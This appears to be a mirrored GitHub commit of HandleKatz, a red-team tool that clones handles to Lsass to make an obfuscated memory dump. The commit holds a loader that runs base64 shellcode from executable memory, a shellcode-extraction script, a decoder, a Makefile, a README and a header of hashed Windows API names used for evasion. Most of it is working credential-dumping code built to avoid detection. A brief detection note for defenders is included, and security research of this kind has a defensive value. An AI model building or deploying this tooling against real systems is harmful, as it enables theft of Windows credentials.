mirror of
https://github.com/codewhitesec/HandleKatz
synced 2026-08-09 12:28:02 +00:00
Initial commit
This commit is contained in:
+36
@@ -0,0 +1,36 @@
|
||||
import argparse
|
||||
import os.path
|
||||
import sys
|
||||
|
||||
def main(input, output):
|
||||
|
||||
if not os.path.isfile(input):
|
||||
print(f"[-] Failed to open: {input}")
|
||||
sys.exit(0)
|
||||
|
||||
h_in = open(input, "rb")
|
||||
h_out = open(output, "wb")
|
||||
|
||||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
|
||||
print(f"[*] Read: {str(bytes_in_len)} bytes")
|
||||
print("[*] Now deobfuscating, this might take a while")
|
||||
|
||||
chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(0, len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
print(f"[*] Deobfuscated to: {output}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
parser = argparse.ArgumentParser(description="")
|
||||
parser.add_argument("-input", required=True)
|
||||
parser.add_argument("-output", required=True)
|
||||
|
||||
args = parser.parse_args()
|
||||
main(args.input, args.output)
|
||||
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
for i in $(objdump -d bin/HandleKatzPIC.exe | grep "^ " | cut -f2); do echo -e -n "\x$i"; done >> bin/HandleKatz.bin
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
File diff suppressed because one or more lines are too long
@@ -0,0 +1,77 @@
|
||||
#include "HandleKatz.h"
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void help(char**);
|
||||
void args(PBOOL b_only_recon, char** pptr_path_dmp, PDWORD ptr_pid, int argc, char** argv);
|
||||
|
||||
int
|
||||
main(int argc, char** argv) {
|
||||
|
||||
uint8_t* ptr_handlekatz = NULL;
|
||||
DWORD dw_len_handleKatz = 0, dw_len_handlekatz_b64 = 0, dw_success = 0, dw_pid = 0;
|
||||
char* ptr_output = NULL, *ptr_pth_dmp = NULL;
|
||||
BOOL b_recon_only = FALSE;
|
||||
|
||||
args(&b_recon_only, &ptr_pth_dmp, &dw_pid, argc, argv);
|
||||
|
||||
printf("[*] Recon only: %d\n", b_recon_only);
|
||||
printf("[*] Path dmp: %s\n", ptr_pth_dmp);
|
||||
printf("[*] Pid to clone from: %d\n", dw_pid);
|
||||
|
||||
dw_len_handlekatz_b64 = lstrlenA(handlekatz_b64);
|
||||
dw_success = CryptStringToBinaryA((LPCSTR)handlekatz_b64, dw_len_handlekatz_b64, CRYPT_STRING_BASE64, NULL, (DWORD*)&dw_len_handleKatz, NULL, NULL);
|
||||
if (!dw_success)
|
||||
goto cleanup;
|
||||
|
||||
ptr_handlekatz = (uint8_t*)VirtualAlloc(0, dw_len_handleKatz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (ptr_handlekatz == NULL)
|
||||
goto cleanup;
|
||||
|
||||
dw_success = CryptStringToBinaryA((LPCSTR)handlekatz_b64, dw_len_handlekatz_b64, CRYPT_STRING_BASE64, ptr_handlekatz, (DWORD*)&dw_len_handleKatz, NULL, NULL);
|
||||
if (!dw_success)
|
||||
goto cleanup;
|
||||
|
||||
ptr_output = (char*)VirtualAlloc(0, 0x4096, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
dw_success = ((HandleKatz*)ptr_handlekatz)(b_recon_only, ptr_pth_dmp, dw_pid, ptr_output);
|
||||
printf("[*] HandleKatz return value: %d\n", dw_success);
|
||||
printf("[*] HandleKatz output:\n\n");
|
||||
printf("%s\n", ptr_output);
|
||||
|
||||
cleanup:
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
void
|
||||
args(PBOOL b_only_recon, char** pptr_path_dmp, PDWORD ptr_pid, int argc, char** argv){
|
||||
|
||||
if (argc != 2 && argc != 3)
|
||||
help(argv);
|
||||
|
||||
if (strstr(argv[1], "--recon"))
|
||||
*b_only_recon = TRUE;
|
||||
else {
|
||||
|
||||
for (int i = 1; i < argc; i++) {
|
||||
|
||||
if (strstr(argv[i], "--pid"))
|
||||
*ptr_pid = atoi(strstr(argv[i], ":") + 1);
|
||||
|
||||
if (strstr(argv[i], "--outfile"))
|
||||
*pptr_path_dmp = strstr(argv[i], ":") + 1;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void
|
||||
help(char** argv) {
|
||||
|
||||
printf("%s {--recon} {--pid:[pid to clone from] --outfile:[path to obfuscated dmp]\n", argv[0]);
|
||||
exit(0);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
make:
|
||||
nasm -f win64 src/adjuststack.asm -o adjuststack.o
|
||||
nasm -f win64 src/chkstk_ms.asm -o chkstk_ms.o
|
||||
nasm -f win64 src/syscalls.asm -o syscalls.o
|
||||
x86_64-w64-mingw32-gcc src/ApiResolve.c -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o ApiResolve.o -Wl,-Tlinker.ld,--no-seh -DC2
|
||||
x86_64-w64-mingw32-gcc src/HandleKatzPIC.c -masm=intel -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o HandleKatzPIC.o -Wl,-Tlinker.ld,--no-seh -DC2
|
||||
x86_64-w64-mingw32-gcc src/Misc.c -masm=intel -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o Misc.o -Wl,-Tlinker.ld,--no-seh -DC2
|
||||
x86_64-w64-mingw32-gcc src/HandleTools.c -masm=intel -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o HandleTools.o -Wl,-Tlinker.ld,--no-seh -DC2
|
||||
x86_64-w64-mingw32-gcc src/DumpTools.c -masm=intel -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o DumpTools.o -Wl,-Tlinker.ld,--no-seh -DC2
|
||||
x86_64-w64-mingw32-ld -s adjuststack.o ApiResolve.o Misc.o HandleKatzPIC.o HandleTools.o DumpTools.o syscalls.o chkstk_ms.o -o bin/HandleKatzPIC.exe
|
||||
|
||||
clean:
|
||||
rm *.o
|
||||
@@ -0,0 +1,47 @@
|
||||
# HandleKatz
|
||||
|
||||
This tool was implemented as part of our Brucon2021 conference talk and demonstrates the usage of **cloned handles to Lsass** in order to create an obfuscated memory dump of the same.
|
||||
It compiles down to an executable **living fully in its text segment**. Thus, the extracted .text segment of the PE file is fully position independent code (=PIC), meaning that it can be treated like any shellcode.
|
||||
The execution of HandleKatz in memory has a very small footprint, as itself does not allocate any more executable memory and can therefore efficiently be combined with concepts such as (Phantom)DLL-Hollowing as described by [@_ForrestOrr](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing). This is in contrast to PIC PE loaders, such as Donut, SRDI or Reflective Loaders which, during PE loading, allocate more executable memory.
|
||||
Additionally, it makes use of a modified version of ReactOS MiniDumpWriteDumpA using direct system calls to write an obfuscated dump to disk.
|
||||
|
||||
For detailed information please refer to the PDF file **PICYouMalware.pdf**
|
||||
|
||||
## Usage
|
||||
|
||||
**Please note** that different compiler (versions) yield different results. This might produce a PE file with relocations.
|
||||
All tests were carried out using ```x86_64-w64-mingw32-gcc mingw-gcc version 11.2.0 (GCC)```. The produced PIC was successfully tested on: Windows 10 Pro 10.0.17763. On other versions of windows, API hashes might differ.
|
||||
|
||||
To use the PIC, cast a pointer to the shellcode in executable memory and call it according to the definition:
|
||||
```
|
||||
DWORD handleKatz(BOOL b_only_recon, char* ptr_output_path, uint32_t pid, char* ptr_buf_output);
|
||||
```
|
||||
|
||||
- **b_only_recon** If set, HandleKatz will only enumerate suitable handles without dumping
|
||||
- **ptr_output_path** Determines where the obfuscated dump will be written to
|
||||
- **pid** What PID to clone a handle from
|
||||
- **ptr_buf_output** A char pointer to which HandleKatz writes its internal output
|
||||
|
||||
For deobfuscation of the dump file, the script **Decoder.py** can be used.
|
||||
|
||||
An example loader can be found in **loader/**:
|
||||
```
|
||||
loader.exe --pid:7331 --outfile:C:\Temp\dump.obfuscated
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Detection
|
||||
|
||||
As cloned handles are used along with modified ReactOS code, no ProcessAccess events can be observed on Lsass. However, ProcessAccess events on programs which hold a handle to Lsass can be observed.
|
||||
Defenders can monitor for ProcessAccess masks with set **PROCESS_DUP_HANDLE (0x0040)** to identify the usage of this tool.
|
||||
|
||||
## Credits
|
||||
|
||||
- Implementation by our [@thefLinkk](https://twitter.com/thefLinkk), see [C-To-Shellcode-Examples](https://github.com/thefLink/C-To-Shellcode-Examples) for more PIC examples.
|
||||
- [@Hasherezade](https://twitter.com/hasherezade) for [tutorials](https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf) on the C-To-Shellcode concept
|
||||
- [@ParanoidNinja](https://twitter.com/NinjaParanoid) for [tutorials](https://github.com/paranoidninja/PIC-Get-Privileges) on the C-To-Shellcode concept
|
||||
- [@_ForrestOrr](https://twitter.com/_ForrestOrr) for his amazing [blogpost series](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing) on memory artifacts
|
||||
- [@rookuu_](https://twitter.com/rookuu_) for the idea to use ReactOS MiniDumpWriteDump
|
||||
- [Outflank](https://outflank.nl/) for documenting direct syscalls and their [InlineWhispers](https://github.com/outflanknl/InlineWhispers) project
|
||||
- [React OS](https://reactos.org/) for the implementation of MiniDumpWriteDump
|
||||
@@ -0,0 +1,470 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include "windows.h"
|
||||
#include "wininet.h"
|
||||
#include "psapi.h"
|
||||
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#define FAIL 0
|
||||
#define SUCCESS 1
|
||||
|
||||
#define CRYPT_KEY 0x41424344
|
||||
|
||||
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
#define STATUS_SUCCESS 0x00
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
|
||||
|
||||
#define SystemHandleInformation 16
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
|
||||
typedef struct UNICODE_STR {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
typedef struct _PEB_LDR_DATA
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _PEB_FREE_BLOCK
|
||||
{
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
typedef struct __PEB
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct _VM_COUNTERS {
|
||||
SIZE_T PeakVirtualSize;
|
||||
SIZE_T PageFaultCount;
|
||||
SIZE_T PeakWorkingSetSize;
|
||||
SIZE_T WorkingSetSize;
|
||||
SIZE_T QuotaPeakPagedPoolUsage;
|
||||
SIZE_T QuotaPagedPoolUsage;
|
||||
SIZE_T QuotaPeakNonPagedPoolUsage;
|
||||
SIZE_T QuotaNonPagedPoolUsage;
|
||||
SIZE_T PagefileUsage;
|
||||
SIZE_T PeakPagefileUsage;
|
||||
SIZE_T VirtualSize;
|
||||
} VM_COUNTERS;
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
uint64_t UniqueProcess;
|
||||
uint64_t UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef enum _KWAIT_REASON
|
||||
{
|
||||
Executive = 0,
|
||||
FreePage = 1,
|
||||
PageIn = 2,
|
||||
PoolAllocation = 3,
|
||||
DelayExecution = 4,
|
||||
Suspended = 5,
|
||||
UserRequest = 6,
|
||||
WrExecutive = 7,
|
||||
WrFreePage = 8,
|
||||
WrPageIn = 9,
|
||||
WrPoolAllocation = 10,
|
||||
WrDelayExecution = 11,
|
||||
WrSuspended = 12,
|
||||
WrUserRequest = 13,
|
||||
WrEventPair = 14,
|
||||
WrQueue = 15,
|
||||
WrLpcReceive = 16,
|
||||
WrLpcReply = 17,
|
||||
WrVirtualMemory = 18,
|
||||
WrPageOut = 19,
|
||||
WrRendezvous = 20,
|
||||
Spare2 = 21,
|
||||
Spare3 = 22,
|
||||
Spare4 = 23,
|
||||
Spare5 = 24,
|
||||
WrCalloutStack = 25,
|
||||
WrKernel = 26,
|
||||
WrResource = 27,
|
||||
WrPushLock = 28,
|
||||
WrMutex = 29,
|
||||
WrQuantumEnd = 30,
|
||||
WrDispatchInt = 31,
|
||||
WrPreempted = 32,
|
||||
WrYieldExecution = 33,
|
||||
WrFastMutex = 34,
|
||||
WrGuardedMutex = 35,
|
||||
WrRundown = 36,
|
||||
MaximumWaitReason = 37
|
||||
} KWAIT_REASON;
|
||||
|
||||
|
||||
typedef struct _SYSTEM_THREAD_INFORMATION
|
||||
{
|
||||
LARGE_INTEGER KernelTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER CreateTime;
|
||||
ULONG WaitTime;
|
||||
PVOID StartAddress;
|
||||
CLIENT_ID ClientId;
|
||||
KPRIORITY Priority;
|
||||
LONG BasePriority;
|
||||
ULONG ContextSwitches;
|
||||
ULONG ThreadState;
|
||||
KWAIT_REASON WaitReason;
|
||||
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
|
||||
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION {
|
||||
ULONG NextEntryOffset;
|
||||
ULONG NumberOfThreads;
|
||||
LARGE_INTEGER WorkingSetPrivateSize; // since VISTA
|
||||
ULONG HardFaultCount; // since WIN7
|
||||
ULONG NumberOfThreadsHighWatermark; // since WIN7
|
||||
ULONGLONG CycleTime; // since WIN7
|
||||
LARGE_INTEGER CreateTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
UNICODE_STR ImageName;
|
||||
KPRIORITY BasePriority;
|
||||
HANDLE UniqueProcessId;
|
||||
HANDLE InheritedFromUniqueProcessId;
|
||||
ULONG HandleCount;
|
||||
ULONG SessionId;
|
||||
ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)
|
||||
SIZE_T PeakVirtualSize;
|
||||
SIZE_T VirtualSize;
|
||||
ULONG PageFaultCount;
|
||||
SIZE_T PeakWorkingSetSize;
|
||||
SIZE_T WorkingSetSize;
|
||||
SIZE_T QuotaPeakPagedPoolUsage;
|
||||
SIZE_T QuotaPagedPoolUsage;
|
||||
SIZE_T QuotaPeakNonPagedPoolUsage;
|
||||
SIZE_T QuotaNonPagedPoolUsage;
|
||||
SIZE_T PagefileUsage;
|
||||
SIZE_T PeakPagefileUsage;
|
||||
SIZE_T PrivatePageCount;
|
||||
LARGE_INTEGER ReadOperationCount;
|
||||
LARGE_INTEGER WriteOperationCount;
|
||||
LARGE_INTEGER OtherOperationCount;
|
||||
LARGE_INTEGER ReadTransferCount;
|
||||
LARGE_INTEGER WriteTransferCount;
|
||||
LARGE_INTEGER OtherTransferCount;
|
||||
SYSTEM_THREAD_INFORMATION Threads[1];
|
||||
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum _PS_CREATE_STATE
|
||||
{
|
||||
PsCreateInitialState,
|
||||
PsCreateFailOnFileOpen,
|
||||
PsCreateFailOnSectionCreate,
|
||||
PsCreateFailExeFormat,
|
||||
PsCreateFailMachineMismatch,
|
||||
PsCreateFailExeName,
|
||||
PsCreateSuccess,
|
||||
PsCreateMaximumStates
|
||||
} PS_CREATE_STATE, *PPS_CREATE_STATE;
|
||||
|
||||
|
||||
typedef enum _OBJECT_INFORMATION_CLASS {
|
||||
ObjectBasicInformation,
|
||||
ObjectNameInformation,
|
||||
ObjectTypeInformation,
|
||||
ObjectAllInformation,
|
||||
ObjectDataInformation
|
||||
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
|
||||
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef struct OBJECT_TYPE_INFORMATION {
|
||||
UNICODE_STR TypeName;
|
||||
ULONG TotalNumberOfObjects;
|
||||
ULONG TotalNumberOfHandles;
|
||||
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STR ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
typedef struct SYSTEM_HANDLE
|
||||
{
|
||||
ULONG ProcessId;
|
||||
BYTE ObjectTypeNumber;
|
||||
BYTE Flags;
|
||||
USHORT Handle;
|
||||
PVOID Object;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
|
||||
|
||||
typedef struct SYSTEM_HANDLE_INFORMATION
|
||||
{
|
||||
ULONG HandleCount;
|
||||
SYSTEM_HANDLE Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemBasicInformation = 0,
|
||||
SystemPerformanceInformation = 2,
|
||||
SystemTimeOfDayInformation = 3,
|
||||
SystemProcessInformation = 5,
|
||||
SystemProcessorPerformanceInformation = 8,
|
||||
SystemInterruptInformation = 23,
|
||||
SystemExceptionInformation = 33,
|
||||
SystemRegistryQuotaInformation = 37,
|
||||
SystemLookasideInformation = 45
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
|
||||
uint64_t getFunctionPtr(unsigned long, unsigned long);
|
||||
|
||||
// ---- KERNEL32 ----
|
||||
#define CRYPTED_HASH_KERNEL32 0x3102ad31
|
||||
#define CRYPTED_HASH_LOADLIBRARYA 0x1efdb3bf
|
||||
#define CRYTPED_HASH_VIRTUALALLOC 0x796e4cd3
|
||||
#define CRYPTED_HASH_LSTRCATA 0x93fde827
|
||||
#define CRYPTED_HASH_LSTRLENA 0x9386e84e
|
||||
#define CRYPTED_HASH_CLOSEHANDLE 0x79328943
|
||||
#define CRYPTED_HASH_VIRTUALFREE 0x27cd8c6a
|
||||
#define CRYPTED_HASH_COPYMEMORY 0x14d8cfcf
|
||||
#define CRYPTED_HASH_GETCURRENTTHREAD 0xa17b4b84
|
||||
#define CRYPTED_HASH_TERMINATETHREAD 0xc6ec2902
|
||||
#define CRYPTED_HASH_SETCURRENTDIRECTORY 0xff81e32e
|
||||
#define CRYPTED_HASH_MULTIBYTETOWIDECHAR 0xa3bf99ca
|
||||
#define CRYPTED_HASH_WIDECHARTOMULTIBYTE 0xa71f728a
|
||||
#define CRYPTED_HASH_LSTRCATW 0x93fde83d
|
||||
#define CRYPTED_HASH_LSTRLENW 0x9386e864
|
||||
#define CRYPTED_HASH_CREATEFILEA 0xaad486be
|
||||
#define CRYPTED_HASH_WRITEFILE 0x277eaff4
|
||||
#define CRYPTED_HASH_SETFILEPOINTER 0x12ad28b6
|
||||
#define CRYPTED_HASH_OPENPROCESS 0x3074be92
|
||||
#define CRYPTED_HASH_CREATETOOLHELP32SNAPSHOT 0x27c751d1
|
||||
#define CRYPTED_HASH_OPENPROCESSTOKEN 0x843993d3
|
||||
#define CRYPTED_HASH_PROCESS32NEXT 0xd1553c6c
|
||||
#define CRYPTED_HASH_PROCESS32FIRST 0xd33afb35
|
||||
#define CRYPTED_HASH_GETLASTERROR 0x61c0a9a7
|
||||
#define CRYPTED_HASH_DELETEFILEA 0x5d9ac45d
|
||||
#define CRYPTED_HASH_COPYFILE 0xed601085
|
||||
#define CRYPTED_HASH_LSTRCMPW 0x93fd9d45
|
||||
#define CRYPTED_HASH_GETCURRENTPROCESS 0x8bcf3663
|
||||
#define CRYPTED_HASH_LSTRCMPA 0x93fd9eaf
|
||||
#define CRYPTED_HASH_LOOKUPPRIVILEGEVALUEA 0xfaec2dc0
|
||||
#define CRYPTED_HASH_GETMODULEFILENAMEEXA 0xa5240a0e
|
||||
#define CRYPTED_HASH_GETPROCESSIMAGEFILENAMEA 0x5f11c72d
|
||||
#define CRYPTED_HASH_GETPROCESSID 0x8c484b5
|
||||
#define CRYPTED_HASH_GETPROCESSHEAP 0x871a4e46
|
||||
#define CRYPTED_HASH_HEAPALLOC 0x5ebf244a
|
||||
#define CRYPTED_HASH_HEAPREALLOC 0x5f738261
|
||||
#define CRYPTED_HASH_HEAPFREE 0x760ad081
|
||||
#define CRYPTED_HASH_GETSYSTEMINFO 0xc24aacb2
|
||||
#define CRYPTED_HASH_FREELIBRARY 0x71ac8d78
|
||||
#define CRYPTED_HASH_ISPROCESSORFEATUREPRESENT 0x83081c4a
|
||||
#define CRYPTED_HASH_VIRTUALQUERYEX 0x96d1a8db
|
||||
#define CRYPTED_HASH_SETFILEPOINTEREX 0x4c387a8b
|
||||
#define CRYPTED_HASH_LSTRCPYW 0x93fda8a9
|
||||
#define CRYPTED_HASH_GETMODULEFILENAMEEXW 0xa5240a24
|
||||
#define CRYPTED_HASH_ENUMPROCESSMODULES 0xe49cdcd6
|
||||
#define CRYPTED_HASH_GETMODULEINFORMATION 0xb7f544b5
|
||||
#define CRYPTED_HASH_GETMODULEBASENAMEW 0xbbcd9cda
|
||||
#define CRYPTED_HASH_GETPROCADDRESS 0x8e73f85b
|
||||
|
||||
typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE);
|
||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||
typedef LPSTR(WINAPI* LSTRCATA)(LPSTR, LPSTR);
|
||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef int(WINAPI* LSTRLENA)(LPCSTR);
|
||||
typedef BOOL(WINAPI* VIRTUALFREE)(LPVOID, SIZE_T, DWORD);
|
||||
typedef BOOL(WINAPI* VIRTUALFREE)(LPVOID, SIZE_T, DWORD);
|
||||
typedef void(WINAPI* COPYMEMORY)(PVOID, void*, SIZE_T);
|
||||
typedef BOOL(WINAPI* TERMINATETHREAD)( HANDLE, DWORD );
|
||||
typedef HANDLE (WINAPI* GETCURRENTTHREAD)();
|
||||
typedef BOOL(WINAPI* SETCURRENTDIRECTORY)(LPCTSTR);
|
||||
typedef int(WINAPI* MULTIBYTETOWIDECHAR)(UINT, DWORD, LPCCH, int, LPWSTR, int);
|
||||
typedef int(WINAPI* WIDECHARTOMULTIBYTE)(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL);
|
||||
typedef LPWSTR(WINAPI* LSTRCATW)(LPWSTR, LPCWSTR);
|
||||
typedef int (WINAPI* LSTRLENW)(LPCWSTR);
|
||||
typedef HANDLE(WINAPI* CREATEFILEA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
typedef BOOL(WINAPI* WRITEFILE)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
typedef DWORD(WINAPI* SETFILEPOINTER)(HANDLE, LONG, PLONG, DWORD);
|
||||
typedef HANDLE(WINAPI* OPENPROCESS)(DWORD, BOOL, DWORD);
|
||||
typedef HANDLE(WINAPI* CREATETOOLHELP32SNAPSHOT)(DWORD, DWORD);
|
||||
typedef BOOL(WINAPI* OPENPROCESSTOKEN)(HANDLE, DWORD, PHANDLE);
|
||||
typedef BOOL(WINAPI* PROCESS32NEXT)(HANDLE, LPPROCESSENTRY32);
|
||||
typedef BOOL(WINAPI* PROCESS32FIRST)(HANDLE, LPPROCESSENTRY32);
|
||||
typedef DWORD(WINAPI* GETLASTERROR)(VOID);
|
||||
typedef BOOL(WINAPI* DELETEFILEA)(LPCSTR);
|
||||
typedef BOOL(WINAPI* COPYFILE)(LPCTSTR, LPCTSTR, BOOL);
|
||||
typedef int(WINAPI* LSTRCMPW)(LPCWSTR, LPCWSTR);
|
||||
typedef HANDLE(WINAPI* GETCURRENTPROCESS)(void);
|
||||
typedef int (WINAPI* LSTRCMPA)(LPCSTR, LPCSTR);
|
||||
typedef BOOL(WINAPI* LOOKUPPRIVILEGEVALUEA)(LPCSTR, LPCSTR, PLUID);
|
||||
typedef DWORD(WINAPI* GETMODULEFILENAMEXA)(HANDLE, HMODULE, LPSTR, DWORD);
|
||||
typedef DWORD(WINAPI* GETPROCESSIMAGEFILENAMEA)(HANDLE, LPSTR, DWORD);
|
||||
typedef DWORD(WINAPI* GETPROCESSID)(HANDLE);
|
||||
